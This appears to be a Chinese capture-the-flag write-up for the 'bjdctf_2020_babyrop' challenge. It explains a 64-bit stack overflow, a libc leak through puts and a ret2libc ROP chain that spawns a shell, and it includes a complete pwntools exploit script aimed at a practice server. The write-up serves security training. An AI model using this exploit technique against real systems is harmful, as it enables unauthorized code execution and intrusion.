bjdctf_2020_babyrop[64位libc泄露]
题目附件
解题步骤:
例行检查,64位程序,开启了NX保护
试运行一下程序,看看大概的情况,看提示,应该是道泄露libc的题目
64位ida载入,shift+f12检索程序里的字符串,没有找到可以直接使用的system(’/bin/sh’)
从main函数开始看程序
main函数调用了一个vuln函数
buf的大小是0x20,read读入的长度是0x64,明显的溢出漏洞
根据已有的信息和得到的提示,是一道64位的libc泄露
利用思路:
- 利用puts函数去泄露libc版本(一定是使用程序里已经调用过的函数才可以)
- 计算偏移量,算出程序里的system函数和字符串“/bin/sh”的地址
- 利用溢出漏洞,构造rop,获取shell
利用过程:
- 泄露libc
64位程序在传参的时候需要用到寄存器
当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。
当参数为7个以上时, 前 6 个与前面一样, 但后面的依次从 “右向左” 放入栈中,即和32位汇编一样。
我们找一下设置rdi寄存器的指令
ROPgadget --binary bjdctf_2020_babyrop |grep "pop rdi"
payload='a'*(0x20+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
r.recvuntil('Pull up your sword and tell me u story!')
r.sendline(payload)
r.recv()
puts_addr=u64(r.recv(6).ljust(8,'\x00'))
libc=LibcSearcher('puts',puts_addr)
- 计算system和bin/sh的实际地址
offset=puts_addr-libc.dump('puts')
system=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
- 构造rop,获取shell
payload='a'*(0x20+8)+p64(pop_rdi)+p64(bin_sh)+p64(system)
r.recvuntil('Pull up your sword and tell me u story!')
r.sendline(payload)
基本上的过程就是这样,在泄露libc的时候有关recv接收几个字节的具体的推荐内容,推荐加上context.log_level='debug'
这句代码,自己调试,自己看看
完整EXP
from pwn import *
from LibcSearcher import *
r=remote('node3.buuoj.cn',28032)
elf=ELF('./bjdctf_2020_babyrop')
context.log_level='debug'
main=elf.sym['main']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
pop_rdi=0x400733
payload='a'*(0x20+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
r.recvuntil('Pull up your sword and tell me u story!')
r.sendline(payload)
r.recv()
puts_addr=u64(r.recv(6).ljust(8,'\x00'))
libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
system=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
payload='a'*(0x20+8)+p64(pop_rdi)+p64(bin_sh)+p64(system)
r.recvuntil('Pull up your sword and tell me u story!')
r.sendline(payload)
r.interactive()
匹配到多个libc,选第一个